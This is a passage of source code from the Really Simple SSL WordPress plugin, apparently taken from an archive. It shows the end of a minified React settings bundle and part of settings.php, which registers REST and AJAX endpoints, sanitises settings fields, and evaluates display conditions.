t=e.ToastContainer;N((()=>t))}))}),[]),(0,t.useEffect)((()=>{v&&(w(i),window.addEventListener("hashchange",(e=>{w(i)})))}),[i]),(0,t.useEffect)((()=>{let e=(0,u.A)("menu");g(e)}),[l]),(0,t.useEffect)((()=>{let e=(0,u.A)("menu");h(e)}),[]),r?(0,e.createElement)(e.Fragment,null,(0,e.createElement)(c,{error:r})):(0,e.createElement)("div",{className:"rsssl-wrapper"},L&&(0,e.createElement)(p.A,{fallback:"Could not load onboarding modal"},(0,e.createElement)(L,null)),F&&(0,e.createElement)(p.A,{fallback:"Could not load modal"},(0,e.createElement)(F,null)),(0,e.createElement)(e.Fragment,null,(0,e.createElement)(a,null),(0,e.createElement)("div",{className:"rsssl-content-area rsssl-grid rsssl-"+_},"dashboard"!==_&&O&&M&&A&&(0,e.createElement)(e.Fragment,null,(0,e.createElement)(p.A,{fallback:"Could not load menu"},(0,e.createElement)(M,null)),(0,e.createElement)(p.A,{fallback:"Could not load settings"},(0,e.createElement)(O,null)),(0,e.createElement)(p.A,{fallback:"Could not load notices"},(0,e.createElement)(A,{className:"rsssl-wizard-notices"}))),"dashboard"===_&&I&&(0,e.createElement)(p.A,{fallback:"Could not load menu"},(0,e.createElement)(I,null)))),C&&(0,e.createElement)(C,{position:"bottom-right",autoClose:2e3,limit:3,hideProgressBar:!0,newestOnTop:!0,closeOnClick:!0,pauseOnFocusLoss:!0,pauseOnHover:!0,theme:"light"}))};document.addEventListener("DOMContentLoaded",(()=>{const n=document.getElementById("really-simple-ssl");n&&(t.createRoot?(0,t.createRoot)(n).render((0,e.createElement)(h,null)):(0,t.render)((0,e.createElement)(h,null),n))})),document.addEventListener("click",(e=>{e.target.closest("#ssl-labs-check-button")&&(document.querySelector(".rsssl-ssllabs").classList.add("rsssl-block-highlight"),setTimeout((function(){document.querySelector(".rsssl-ssllabs").classList.remove("rsssl-block-highlight")}),6e3))}))})()})();really-simple-ssl/settings/settings.php000064400000076523147510273070014356 0ustar00<?php
defined('ABSPATH') or die();
/**
 * Enqueue Gutenberg block assets for backend editor.
 *
 * @since 1.0.0
 */

require_once(rsssl_path.'settings/config/config.php');
require_once(rsssl_path.'settings/config/menu.php');
require_once(rsssl_path.'settings/config/disable-fields-filter.php');

/**
 * Fix for WPML issue where WPML breaks the rest api by adding a language locale in the url
 *
 * @param $url
 * @param $path
 * @param $blog_id
 * @param $scheme
 *
 * @return string
 */
function rsssl_fix_rest_url_for_wpml($url, $path, $blog_id, $scheme)
{
	if (strpos($url, 'reallysimplessl/v') === false) {
		return $url;
	}

	$current_language = false;
	if (function_exists('icl_register_string')) {
		$current_language = apply_filters('wpml_current_language', null);
	}

	if (function_exists('qtranxf_getLanguage')) {
		$current_language = qtranxf_getLanguage();
	}

	if ($current_language) {
		if (strpos($url, '/'.$current_language.'/wp-json/')) {
			$url = str_replace('/'.$current_language.'/wp-json/', '/wp-json/', $url);
		}
	}

	return $url;
}

add_filter('rest_url', 'rsssl_fix_rest_url_for_wpml', 10, 4);

/**
 * WordPress doesn't allow for translation of chunks resulting of code splitting.
 * Several workarounds have popped up in JetPack and Woocommerce: https://developer.wordpress.com/2022/01/06/wordpress-plugin-i18n-webpack-and-composer/
 * Below is mainly based on the Woocommerce solution, which seems to be the most simple approach. Simplicity is king here.
 *
 * @return array
 */
function rsssl_get_chunk_translations($path = 'settings/build'  ) {
	//get all files from the settings/build folder
	$files = scandir(rsssl_path . $path );
	$json_translations = [];

	// filter the filenames to get the JavaScript and asset filenames
	$jsFilename = '';
	$assetFilename = '';

	foreach ($files as $file) {
		if (strpos($file, 'index.') === 0) {
			if (substr($file, -3) === '.js') {
				$jsFilename = $file;
			} elseif (substr($file, -10) === '.asset.php') {
				$assetFilename = $file;
			}
		}

		if (strpos($file, '.js') === false) {
			continue;
		}
		$chunk_handle = str_replace('.js', '', $file );
		//temporarily register the script, so we can get a translations object.
		wp_register_script( $chunk_handle, plugins_url('build/'.$file, __FILE__), [], true );
		$language_path = defined('rsssl_pro') ? rsssl_path . 'languages' : false;
		$localeData = load_script_textdomain( $chunk_handle, 'really-simple-ssl', $language_path );

		if (!empty($localeData)){
			$json_translations[] = $localeData;
		}
		wp_deregister_script( $chunk_handle );
	}
	if (empty($jsFilename) || empty($assetFilename) ) {
		return [];
	}
	$assetFile     = require( rsssl_path . trailingslashit( $path ) . $assetFilename );
	return [
		'json_translations' => $json_translations,
		'dependencies'  => $assetFile['dependencies'],
		'version'  => $assetFile['version'],
		'js_file'  => $jsFilename,
	];
}

function rsssl_plugin_admin_scripts()
{

	$js_data = rsssl_get_chunk_translations();
	// check if the necessary files are found
	if ( !empty($js_data) ) {
		$handle = 'rsssl-settings';
		wp_enqueue_script( $handle);
		wp_enqueue_script(
			'rsssl-settings',
			plugins_url( 'build/' . $js_data['js_file'], __FILE__ ),
			$js_data['dependencies'],
			$js_data['version'],
			true
		);
		wp_set_script_translations($handle, 'really-simple-ssl');

		wp_localize_script(
			'rsssl-settings',
			'rsssl_settings',
			apply_filters('rsssl_localize_script', [
				'json_translations' => $js_data['json_translations'],
				'menu' => rsssl_menu(),
				'is_bf' => RSSSL()->admin->is_bf(),
				'site_url' => get_rest_url(),
				'plugins_url' => admin_url('update-core.php'),
				'admin_ajax_url' => add_query_arg(
					array(
						'type' => 'errors',
						'action' => 'rsssl_rest_api_fallback'
					),
					admin_url('admin-ajax.php') ),
				'dashboard_url' => rsssl_admin_url(),
				'letsencrypt_url' => rsssl_letsencrypt_wizard_url(),
				'le_generated_by_rsssl' => rsssl_generated_by_rsssl(),
				'upgrade_link' => rsssl_link('pro', 'upgrade' ),
				'ref' => rsssl_get_url_ref(),
				'plugin_url' => rsssl_url,
				'network_link' => network_site_url('plugins.php'),
				'pro_plugin_active' => defined('rsssl_pro'),
				'networkwide_active' => !is_multisite() || rsssl_is_networkwide_active(),//true for single sites and network wide activated
				'nonce' => wp_create_nonce('wp_rest'),//to authenticate the logged-in user
				'rsssl_nonce' => wp_create_nonce('rsssl_nonce'),
				'wpconfig_fix_required' => RSSSL()->admin->do_wpconfig_loadbalancer_fix() && ! RSSSL()->admin->wpconfig_has_fixes() && ! RSSSL()->admin->uses_bitnami(),
				'cloudflare' => rsssl_uses_cloudflare(),
			])
		);
	}
}

/**
 * Check if this server is behind CloudFlare
 *
 * @return bool
 */
function rsssl_uses_cloudflare(): bool {
	return isset( $_SERVER['HTTP_CF_CONNECTING_IP'] );
}

/**
 * Add SSL menu
 *
 * @return void
 */
function rsssl_add_top_level_menu() {
	if ( ! rsssl_user_can_manage() ) {
		return;
	}

	if ( is_multisite() && rsssl_is_networkwide_active() ) {
		return;
	}

	$count        = RSSSL()->admin->count_plusones();
	$update_count = $count > 0 ? "<span class='update-plugins rsssl-update-count'><span class='update-count'>$count</span></span>" : "";

	$icon_svg = '<?xml version="1.0" encoding="UTF-8"?>
<svg id="rss-menu-logo" xmlns="http://www.w3.org/2000/svg" viewBox="0 -15 90 130" width="34" height="34">
    <defs>
        <style>.cls-1{fill:#fff;stroke-width:0px;}</style>
    </defs>
    <g fill="none" stroke-width="2">
        <path class="cls-1" d="M72.92,26.6h-13v-9.4c0-7.6-6.1-13.7-13.7-13.7s-13.8,6.1-13.8,13.7v9.4h-13.1v-9.4C19.32,2.4,31.32,-9.6,46.12,-9.6s26.8,12,26.8,26.8v9.4h0Z"/>
        <rect class="cls-1" x="10.02" y="84.6" width="72.3" height="5.6"/>
        <path class="cls-1" d="M82.32,82H10.02V31.8c0-2.9,2.3-5.2,5.2-5.2h61.9c2.9,0,5.2,2.3,5.2,5.2V82h0ZM64.62,37.8c-2.2-2.2-5.9-2.2-8.2,0l-15.7,15.3l-4.9-4.9c-2.2-2.2-5.9-2.2-8.2,0l-1.9,1.9c-2.2,2.2-2.2,5.9,0,8.2l8.5,8.5c0.1,0.2,0.3,0.4,0.5,0.6l1.9,1.9l4.2,4l3.5-3.5c0.2-0.1,0.4-0.3,0.6-0.5l1.9-1.9c0.2-0.2,0.4-0.4,0.5-0.6l19.1-18.9c2.2-2.2,2.2-5.9,0-8.2l-1.8-1.9Z"/>
    </g>
</svg>';

	$icon_base64 = 'data:image/svg+xml;base64,' . base64_encode($icon_svg);

	$page_hook_suffix = add_menu_page(
		__( "Security", "really-simple-ssl" ),
		__( "Security", "really-simple-ssl" ) . $update_count,
		'manage_security',
		'really-simple-security',
		'rsssl_settings_page',
		$icon_base64,
		100 // This will place it near the bottom of the menu
	);

	add_action( "admin_print_scripts-{$page_hook_suffix}", 'rsssl_plugin_admin_scripts' );
    // Update the page title to prevent issues with an empty title causing strip_tags deprecation warnings
	add_action("load-{$page_hook_suffix}", 'rsssl_set_admin_page_title');
	add_action('admin_head', 'rsssl_override_wordpress_svg_size');

}

add_action( 'admin_menu', 'rsssl_add_top_level_menu' );

function rsssl_override_wordpress_svg_size() {
	echo '<style>
        #adminmenu .toplevel_page_really-simple-security div.wp-menu-image.svg {
            background-size: 23px auto !important;
        }
    </style>';
}

/**
 * @return void
 *
 * Set title of RSSSL admin page
 */
function rsssl_set_admin_page_title() {
	global $title;
	$title = __( "Security", "really-simple-ssl" );
}

/**
 * Render the settings page
 */

function rsssl_settings_page()
{
	if ( ! rsssl_user_can_manage()) {
		return;
	}

	?>
    <div id="really-simple-ssl" class="rsssl"></div>
    <div id="really-simple-ssl-modal"></div>
	<?php
}

/**
 * If the rest api is blocked, the code will try an admin ajax call as fall back.
 *
 * @return void
 */
function rsssl_rest_api_fallback()
{
	$response = $data = [];
	$error    = $action = $test = $do_action = false;

	if ( ! rsssl_user_can_manage()) {
		$error = true;
	}
	//if the site is using this fallback, we want to show a notice
	update_option('rsssl_ajax_fallback_active', time(), false);
	if (isset($_GET['rest_action'])) {
		$action = sanitize_text_field($_GET['rest_action']);
		if (strpos($action, 'reallysimplessl/v1/tests/') !== false) {
			$test = strtolower(str_replace('reallysimplessl/v1/tests/', '', $action));
		}
	}
	$requestData = json_decode(file_get_contents('php://input'), true);
	if ($requestData) {
		$action = $requestData['path'] ?? false;
		$action = sanitize_text_field($action);
		$data = $requestData['data'] ?? false;
		if (strpos($action, 'reallysimplessl/v1/do_action/') !== false) {
			$do_action = strtolower(str_replace('reallysimplessl/v1/do_action/', '', $action));
		}
	}
	if (!$error) {
		if (strpos($action, 'fields/get') !== false) {
			$response = rsssl_rest_api_fields_get();
		} else if (strpos($action, 'fields/set') !== false) {
			$request = new WP_REST_Request();
			$response = rsssl_rest_api_fields_set($request, $data);
		} else if ($test) {
			$request = new WP_REST_Request();
			$data = $_GET['data'] ?? false;
			$data = json_decode(stripcslashes($data));
			$data = (array)$data;
			$nonce = isset($_GET['nonce']) ? sanitize_text_field($_GET['nonce']) : false;
			$id = isset($_GET['id']) ? sanitize_text_field($_GET['id']) : false;
			$state = isset($_GET['state']) ? sanitize_title($_GET['state']) : false;
			$request->set_param('test', $test);
			$request->set_param('state', $state);
			$request->set_param('id', $id);
			$request->set_param('nonce', $nonce);
			//remove
			foreach ($_GET as $key => $value) {
				$data[$key] = sanitize_text_field($value);
			}
			$response = rsssl_run_test($request, $data);
		} elseif ($do_action) {
			$request = new WP_REST_Request();
			$request->set_param('action', $do_action);
			$response = rsssl_do_action($request, $data);
		}
	}
	header("Content-Type: application/json");
	echo json_encode($response);
	exit;
}

add_action('wp_ajax_rsssl_rest_api_fallback', 'rsssl_rest_api_fallback');

add_action('rest_api_init', 'rsssl_settings_rest_route', 10);
function rsssl_settings_rest_route()
{
	if (!rsssl_user_can_manage()) {
		return;
	}

	register_rest_route('reallysimplessl/v1', 'fields/get', array(
		'methods' => 'GET',
		'callback' => 'rsssl_rest_api_fields_get',
		'permission_callback' => function () {
			return rsssl_user_can_manage();
		}
	));

	register_rest_route('reallysimplessl/v1', 'fields/set', array(
		'methods' => 'POST',
		'callback' => 'rsssl_rest_api_fields_set',
		'permission_callback' => function () {
			return rsssl_user_can_manage();
		}
	));

	register_rest_route('reallysimplessl/v1', 'tests/(?P<test>[a-z\_\-]+)', array(
		'methods' => 'GET',
		'callback' => 'rsssl_run_test',
		'permission_callback' => function () {
			return rsssl_user_can_manage();
		}
	));

	register_rest_route('reallysimplessl/v1', 'do_action/(?P<action>[a-z\_\-]+)', array(
		'methods' => 'POST',
		'callback' => 'rsssl_do_action',
		'permission_callback' => function () {
			return rsssl_user_can_manage();
		}
	));

}

/**
 * Store SSL Labs result
 * @param array $data
 *
 * @return array
 */
function rsssl_store_ssl_labs($data)
{
	if (!rsssl_user_can_manage()) {
		return [];
	}
	update_option('rsssl_ssl_labs_data', $data, false);
	return [];
}

function rsssl_remove_fallback_notice()
{
	if (get_option('rsssl_ajax_fallback_active') !== false) {
		delete_option('rsssl_ajax_fallback_active');
	}
}

/**
 * @param WP_REST_Request $request
 * @param array|bool $ajax_data
 *
 * @return void
 */
function rsssl_do_action($request, $ajax_data = false)
{
	if (!rsssl_user_can_manage()) {
		return;
	}

	if (!$ajax_data) {
		rsssl_remove_fallback_notice();
	}
	$action = sanitize_title($request->get_param('action'));
	$data = $ajax_data !== false ? $ajax_data : $request->get_params();

	$nonce = $data['nonce'];
	if (!wp_verify_nonce($nonce, 'rsssl_nonce')) {
		return;
	}
	switch ($action) {
		case 'ssltest_get':
			$response = ['data' => get_option('rsssl_ssl_labs_data')];
			break;
		case 'ssltest_run':
			$response = rsssl_ssltest_run($data);
			break;
		case 'store_ssl_labs':
			$response = rsssl_store_ssl_labs($data);
			break;
		case 'send_test_mail':
			$mailer = new rsssl_mailer();
			$response = $mailer->send_test_mail();
			break;
		case 'send_verification_mail':
			$mailer = new rsssl_mailer();
			$response = $mailer->send_verification_mail( rsssl_get_option('notifications_email_address') );
			break;
		case 'plugin_actions':
			$response = rsssl_plugin_actions($data);
			break;
		case 'clear_cache':
			$response = rsssl_clear_test_caches($data);
			break;
		case 'fix':
			$response = rsssl_fix($data);
			break;
		case 'otherpluginsdata':
			$response = rsssl_other_plugins_data();
			break;
		case 'get_roles':
			$roles = rsssl_get_roles();
			$response = [];
			$response['roles'] = $roles;
			break;
		case 'get_hosts':
			$response = [];
			if ( !class_exists('rsssl_le_hosts')) {
				require_once( rsssl_path . 'lets-encrypt/config/class-hosts.php');
				$response['hosts'] = ( new rsssl_le_hosts() )->hosts;
			} else {
				$response['hosts'] = RSSSL_LE()->hosts->hosts;
            }
			break;
		default:
			$response = apply_filters("rsssl_do_action", [], $action, $data);
	}

	if (is_array($response)) {
		$response['request_success'] = true;
	}

	return $response;
}

/**
 * @param array $data
 *
 * @return array
 */
function rsssl_clear_test_caches($data)
{
	if (!rsssl_user_can_manage()) {
		return [];
	}

	$cache_id = sanitize_title($data['cache_id']);

	do_action('rsssl_clear_test_caches', $data);
	return [];
}

/**
 * @param array $data
 *
 * @return array
 */
function rsssl_fix($data)
{
	if (!rsssl_user_can_manage()) {
		return [];
	}

	$fix_id = sanitize_title($data['fix_id']);
    $output = [];
	$output = apply_filters('rsssl_run_fix', $output, $fix_id);
	return $output;
}

/**
 * Process plugin installation or activation actions
 *
 * @param array $data
 *
 * @return array
 */

function rsssl_plugin_actions($data)
{
	if (!rsssl_user_can_manage()) {
		return [];
	}
	$slug = sanitize_title($data['slug']);
	$action = sanitize_title($data['pluginAction']);
	$installer = new rsssl_installer($slug);
	if ($action === 'download') {
		$installer->download_plugin();
	} elseif ($action === 'activate') {
		$installer->activate_plugin();
	}

	return rsssl_other_plugins_data($slug);
}

/**
 * Run a request to SSL Labs
 *
 * @param $data
 *
 * @return string
 */
function rsssl_ssltest_run( $data ) {
	if ( ! rsssl_user_can_manage() ) {
		return '';
	}
	$url      = $data['url'];
	$response = wp_safe_remote_get( $url );
	$data     = wp_remote_retrieve_body( $response );
	if ( empty( $data ) ) {
		$data = [ 'errors' => 'Request failed, please try again.' ];
	}

	return $data;
}

/**
 * @param WP_REST_Request $request
 *
 * @return array
 */
function rsssl_run_test($request, $ajax_data = false)
{
	if (!rsssl_user_can_manage()) {
		return [];
	}
	if (!$ajax_data) {
		rsssl_remove_fallback_notice();
	}
	$nonce = $request->get_param('nonce');
	if (!wp_verify_nonce($nonce, 'rsssl_nonce')) {
		return [];
	}
	$data = $ajax_data !== false ? $ajax_data : $request->get_params();
	$test = sanitize_title($request->get_param('test'));
	$state = $request->get_param('state');
	$state = $state !== 'undefined' && $state !== 'false' ? $state : false;
	switch ($test) {
		case 'progressdata':
			$response = RSSSL()->progress->get();
			break;
		case 'dismiss_task':
			$response = RSSSL()->progress->dismiss_task($state);
			break;
		default:
			$response = apply_filters("rsssl_run_test", [], $test, $data);
	}
	if (is_array($response)) {
		$response['request_success'] = true;
	}
	return $response;
}

/**
 * Get plugin data for other plugin section
 * @param string $slug
 * @return array
 */
function rsssl_other_plugins_data($slug = false)
{
	if (!rsssl_user_can_manage()) {
		return [];
	}
	$plugins = array(
		[
			'slug' => 'burst-statistics',
			'constant_free' => 'burst_version',
			'constant_premium' => 'burst_pro',
			'wordpress_url' => 'https://wordpress.org/plugins/burst-statistics/',
			'upgrade_url' => 'https://burst-statistics.com/pricing?src=rsssl-plugin',
			'title' => 'Burst Statistics - '. __("Self-hosted and privacy-friendly analytics tool.", 'really-simple-ssl'),
		],
		[
			'slug' => 'complianz-gdpr',
			'constant_free' => 'cmplz_plugin',
			'constant_premium' => 'cmplz_premium',
			'wordpress_url' => 'https://wordpress.org/plugins/complianz-gdpr/',
			'upgrade_url' => 'https://complianz.io/pricing?src=rsssl-plugin',
			'title' => __("Complianz - Consent Management as it should be", "really-simple-ssl"),
		],
		[
			'slug' => 'complianz-terms-conditions',
			'constant_free' => 'cmplz_tc_version',
			'wordpress_url' => 'https://wordpress.org/plugins/complianz-terms-conditions/',
			'upgrade_url' => 'https://complianz.io?src=rsssl-plugin',
			'title' => 'Complianz - ' . __("Terms and Conditions", "really-simple-ssl"),
		],
	);

	foreach ($plugins as $index => $plugin) {
		$installer = new rsssl_installer($plugin['slug']);
		if (isset($plugin['constant_premium']) && defined($plugin['constant_premium'])) {
			$plugins[$index]['pluginAction'] = 'installed';
		} else if (!$installer->plugin_is_downloaded() && !$installer->plugin_is_activated()) {
			$plugins[$index]['pluginAction'] = 'download';
		} else if ($installer->plugin_is_downloaded() && !$installer->plugin_is_activated()) {
			$plugins[$index]['pluginAction'] = 'activate';
		} else {
			if (isset($plugin['constant_premium'])) {
				$plugins[$index]['pluginAction'] = 'upgrade-to-premium';
			} else {
				$plugins[$index]['pluginAction'] = 'installed';
			}
		}
	}

	if ($slug) {
		foreach ($plugins as $key => $plugin) {
			if ($plugin['slug'] === $slug) {
				return $plugin;
			}
		}
	}
	return ['plugins' => $plugins];

}

/**
 * List of allowed field types
 * @param $type
 *
 * @return mixed|string
 */
function rsssl_sanitize_field_type($type)
{
	$types = [
		'hidden',
		'license',
		'database',
		'checkbox',
		'password',
		'radio',
		'text',
		'textarea',
		'number',
		'email',
		'select',
		'host',
		'permissionspolicy',
		'learningmode',
		'mixedcontentscan',
		'vulnerablemeasures',
		'LetsEncrypt',
		'postdropdown',
		'two_fa_roles',
		'roles_enabled_dropdown',
		'roles_dropdown',
		'captcha',
		'captcha_key',
//        'two_fa_table',
//        'verify_email',
	];
	if ( in_array( $type, $types, true ) ) {
		return $type;
	}
	return 'checkbox';
}

/**
 * @param WP_REST_Request $request
 * @param array $ajax_data
 *
 * @return array
 */
function rsssl_rest_api_fields_set(WP_REST_Request $request, $ajax_data = false): array
{
	if (!rsssl_user_can_manage()) {
		return [];
	}

	$fields = $ajax_data ?: $request->get_json_params();
	//get the nonce
	$nonce = false;
	foreach ($fields as $index => $field) {
		if (isset($field['nonce'])) {
			$nonce = $field['nonce'];
			unset($fields[$index]);
		}
	}

	if (!wp_verify_nonce($nonce, 'rsssl_nonce')) {
		return [];
	}

	$config_fields = rsssl_fields(false);
	$config_ids = array_column($config_fields, 'id');
	foreach ($fields as $index => $field) {
		$config_field_index = array_search($field['id'], $config_ids);
		$config_field = $config_fields[$config_field_index];
		if ($config_field_index === false) {
			unset($fields[$index]);
			continue;
		}
		$type = rsssl_sanitize_field_type($field['type']);
		$field_id = sanitize_text_field($field['id']);
		$value = rsssl_sanitize_field($field['value'], $type, $field_id);
		//if an endpoint is defined, we use that endpoint instead
		if (isset($config_field['data_endpoint'])) {
			//the updateItemId allows us to update one specific item in a field set.
			$update_item_id = isset($field['updateItemId']) ? $field['updateItemId'] : false;
			$action = isset($field['action']) && $field['action'] === 'delete' ? 'delete' : 'update';
			$endpoint = $config_field['data_endpoint'];
			if (is_array($endpoint)) {
				$main = $endpoint[0];
				$class = $endpoint[1];
				$function = $endpoint[2];
				if (function_exists($main)) {
					$main()->$class->$function($value, $update_item_id, $action);
				}
			} else if (function_exists($endpoint)) {
				$endpoint($value, $update_item_id, $action);
			}

			unset($fields[$index]);
			continue;
		}

		$field['value'] = $value;
		$fields[$index] = $field;
	}

	if (is_multisite() && rsssl_is_networkwide_active()) {
		$options = get_site_option('rsssl_options', []);
	} else {
		$options = get_option('rsssl_options', []);
	}

	//build a new options array
	foreach ($fields as $field) {
		$prev_value = isset($options[$field['id']]) ? $options[$field['id']] : false;
		do_action("rsssl_before_save_option", $field['id'], $field['value'], $prev_value, $field['type']);
		$options[$field['id']] = apply_filters("rsssl_fieldvalue", $field['value'], $field['id'], $field['type']);
	}
	if (!empty($options)) {
		if (is_multisite() && rsssl_is_networkwide_active()) {
			update_site_option('rsssl_options', $options);
		} else {
			update_option('rsssl_options', $options);
		}
	}
	RSSSL()->admin->clear_admin_notices_cache();
	do_action('rsssl_after_saved_fields', $fields );
	foreach ( $fields as $field ) {
		do_action( "rsssl_after_save_field", $field['id'], $field['value'], $prev_value, $field['type'] );
	}
	return [
		'success' => true,
		'progress' => RSSSL()->progress->get(),
		'fields' => rsssl_fields(true),
	];
}

/**
 * Update a rsssl option
 * @param string $name
 * @param mixed $value
 *
 * @return void
 */

function rsssl_update_option($name, $value)
{
	if (!rsssl_user_can_manage()) {
		return;
	}
	$config_fields = rsssl_fields(false);
	$config_ids = array_column($config_fields, 'id');
	$config_field_index = array_search($name, $config_ids);
	if ($config_field_index === false) {
		return;
	}

	$config_field = $config_fields[$config_field_index];
	$type = $config_field['type'] ?? false;
	if (!$type) {
		return;
	}
	if (is_multisite() && rsssl_is_networkwide_active()) {
		$options = get_site_option('rsssl_options', []);
	} else {
		$options = get_option('rsssl_options', []);
	}
	if (!is_array($options)) $options = [];
	$prev_value = $options[$name] ?? false;
	$name = sanitize_text_field($name);
	$type = rsssl_sanitize_field_type($config_field['type']);
	$value = rsssl_sanitize_field($value, $type, $name);
	$value = apply_filters("rsssl_fieldvalue", $value, sanitize_text_field($name), $type);
	#skip if value wasn't changed
	if (isset($options[$name]) && $options[$name] === $value) {
		return;
	}

	$options[$name] = $value;
	if ( is_multisite() && rsssl_is_networkwide_active() ) {
		update_site_option( 'rsssl_options', $options );
	} else {
		update_option( 'rsssl_options', $options );
	}
	$config_field['value'] = $value;
	RSSSL()->admin->clear_admin_notices_cache();
	do_action('rsssl_after_saved_fields',[$config_field] );
	do_action( "rsssl_after_save_field", $name, $value, $prev_value, $type );
}

/**
 * Get the rest api fields
 * @return array
 */
function rsssl_rest_api_fields_get()
{
	if (!rsssl_user_can_manage()) {
		return [];
	}

	$output = array();
	$fields = rsssl_fields();
	foreach ($fields as $index => $field) {
		/**
		 * Load data from source
		 */
		if (isset($field['data_source'])) {
			$data_source = $field['data_source'];
			if (is_array($data_source)) {
				$main = $data_source[0];
				$class = $data_source[1];
				$function = $data_source[2];
				$field['value'] = [];
				if (function_exists($main)) {
					$field['value'] = $main()->$class->$function();
				}
			} else if (function_exists($field['data_source'])) {
				$func = $field['data_source'];
				$field['value'] = $func();
			}
		}

		$fields[$index] = $field;
	}

	$output['fields'] = $fields;
	$output['request_success'] = true;
	$output['progress'] = RSSSL()->progress->get();
	return apply_filters('rsssl_rest_api_fields_get', $output);
}

/**
 * Sanitize a field
 *
 * @param mixed $value
 * @param string $type
 * @oaram string $id
 *
 * @return array|bool|int|string|void
 */
function rsssl_sanitize_field($value, string $type, string $id)
{
	switch ($type) {
		case 'checkbox':
		case 'number':
			return (int)$value;
		case 'hidden':
			return sanitize_title($value);
		case 'select':
		case 'host':
		case 'text':
		case 'license':
		case 'password':
		case 'captcha_key':
		case 'postdropdown':
			return sanitize_text_field($value);
		case 'textarea':
    		return wp_kses($value, array());
		case 'multicheckbox':
			if (!is_array($value)) {
				$value = array($value);
			}
			return array_map('sanitize_text_field', $value);
		case 'email':
			return sanitize_email($value);
		case 'url':
			return esc_url_raw($value);
		case 'permissionspolicy':
			return rsssl_sanitize_permissions_policy($value, $type, $id);
		case 'learningmode':
			return rsssl_sanitize_datatable($value, $type, $id);
		case 'mixedcontentscan':
			return $value;
		case 'roles_dropdown':
		case 'roles_enabled_dropdown':
		case 'two_fa_roles':
			$value = !is_array($value) ? [] : $value;
			$roles = rsssl_get_roles();
			foreach ($value as $index => $role) {
				if (! in_array( $role, $roles, true ) ) {
					unset($value[$index]);
				}
			}
			return $value;
		default:
			return sanitize_text_field($value);
	}
}

/**
 * Dedicated permission policy sanitization
 *
 * @param $value
 * @param $type
 * @param $field_name
 *
 * @return array|false
 */
function rsssl_sanitize_permissions_policy($value, $type, $field_name)
{
	$possible_keys = apply_filters("rsssl_datatable_datatypes_$type", [
		'id' => 'string',
		'title' => 'string',
		'status' => 'boolean',
	]);
	// Datatable array will look something like this, whith 0 the row index, and id, title the col indexes.
	// [0] => Array
	//	(
	//		[id] => camera
	//		[title] => Camera
	//	    [value] => ()
	//      [status] => 1/0
	//   )
	//)
	$config_fields = rsssl_fields(false);
	//check if there is a default available
	$default = false;
	foreach ($config_fields as $config_field) {
		if ($config_field['id'] === $field_name) {
			$default = isset($config_field['default']) ? $config_field['default'] : false;
		}
	}

	$stored_ids = [];
	if (!is_array($value)) {
		return $default;
	} else {
		foreach ($value as $row_index => $row) {
			//check if we have invalid values
			if (is_array($row)) {
				foreach ($row as $column_index => $row_value) {
					if ($column_index === 'id' && $row_value === false) {
						unset($value[$column_index]);
					}
				}
			}

			//has to be an array.
			if (!is_array($row)) {
				if (isset($default[$row_index])) {
					$value[$row_index] = $default[$row_index];
				} else {
					unset($value[$row_index]);
				}
			}

			foreach ($row as $col_index => $col_value) {
				if (!isset($possible_keys[$col_index])) {
					unset($value[$row_index][$col_index]);
				} else {
					$datatype = $possible_keys[$col_index];
					switch ($datatype) {
						case 'string':
							$value[$row_index][$col_index] = sanitize_text_field($col_value);
							break;
						case 'int':
						case 'boolean':
						default:
							$value[$row_index][$col_index] = intval($col_value);
							break;
					}
				}
			}

			//Ensure that all required keys are set with at least an empty value
			foreach ($possible_keys as $key => $data_type) {
				if (!isset($value[$row_index][$key])) {
					$value[$row_index][$key] = false;
				}
			}
		}
	}

	//ensure that there are no duplicate ids
	foreach ($value as $index => $item) {
		if (in_array($item['id'], $stored_ids)) {
			unset($value[$index]);
			continue;
		}
		$stored_ids[] = $item['id'];
	}

	//if the default contains items not in the setting (newly added), add them.
	if (count($value) < count($default)) {
		foreach ($default as $def_row_index => $def_row) {
			//check if it is available in the array. If not, add
			if (!in_array($def_row['id'], $stored_ids)) {
				$value[] = $def_row;
			}
		}
	}
	return $value;
}

function rsssl_sanitize_datatable($value, $type, $field_name)
{
	$possible_keys = apply_filters("rsssl_datatable_datatypes_$type", [
		'id' => 'string',
		'title' => 'string',
		'status' => 'boolean',
	]);

	if (!is_array($value)) {
		return false;
	} else {
		foreach ($value as $row_index => $row) {
			//check if we have invalid values
			if (is_array($row)) {
				foreach ($row as $column_index => $row_value) {
					if ($column_index === 'id' && $row_value === false) {
						unset($value[$column_index]);
					}
				}
			}

			//has to be an array.
			if (!is_array($row)) {
				unset($value[$row_index]);
			}

			foreach ($row as $col_index => $col_value) {
				if (!isset($possible_keys[$col_index])) {
					unset($value[$row_index][$col_index]);
				} else {
					$datatype = $possible_keys[$col_index];
					switch ($datatype) {
						case 'string':
							$value[$row_index][$col_index] = sanitize_text_field($col_value);
							break;
						case 'int':
						case 'boolean':
						default:
							$value[$row_index][$col_index] = intval($col_value);
							break;
					}
				}
			}

			//Ensure that all required keys are set with at least an empty value
			foreach ($possible_keys as $key => $data_type) {
				if (!isset($value[$row_index][$key])) {
					$value[$row_index][$key] = false;
				}
			}
		}
	}
	return $value;
}


/**
 * Check if the server side conditions apply
 *
 * @param array $conditions
 *
 * @return bool
 */

function rsssl_conditions_apply(array $conditions)
{

	$defaults = ['relation' => 'AND'];
	$conditions = wp_parse_args($conditions, $defaults);
	$relation = $conditions['relation'] === 'AND' ? 'AND' : 'OR';
	unset($conditions['relation']);
	$condition_applies = true;
	foreach ($conditions as $condition => $condition_value) {
		$invert = substr($condition, 1) === '!';
		$condition = ltrim($condition, '!');

		if (is_array($condition_value)) {
			$this_condition_applies = rsssl_conditions_apply($condition_value);
		} else {
			//check if it's a function
			if (substr($condition, -2) === '()') {
				$func = $condition;
				if (preg_match('/(.*)\(\)\-\>(.*)->(.*)/i', $func, $matches)) {
					$base = $matches[1];
					$class = $matches[2];
					$func = $matches[3];
					$func = str_replace('()', '', $func);
					$this_condition_applies = call_user_func(array($base()->{$class}, $func)) === $condition_value;
				} else {
					$func = str_replace('()', '', $func);
					$this_condition_applies = $func() === $condition_value;
				}
			} else {
				$var = $condition;
				if (preg_match('/(.*)\(\)\-\>(.*)->(.*)/i', $var, $matches)) {
					$base = $matches[1];
					$class = $matches[2];
					$var = $matches[3];
					$this_condition_applies = $base()->{$class}->_get($var) === $condition_value;
				} else {
					$this_condition_applies = rsssl_get_option($var) === $condition_value;
				}
			}

			if ($invert) {
				$this_condition_applies = !$this_condition_applies;
			}

		}

		if ($relation === 'AND') {
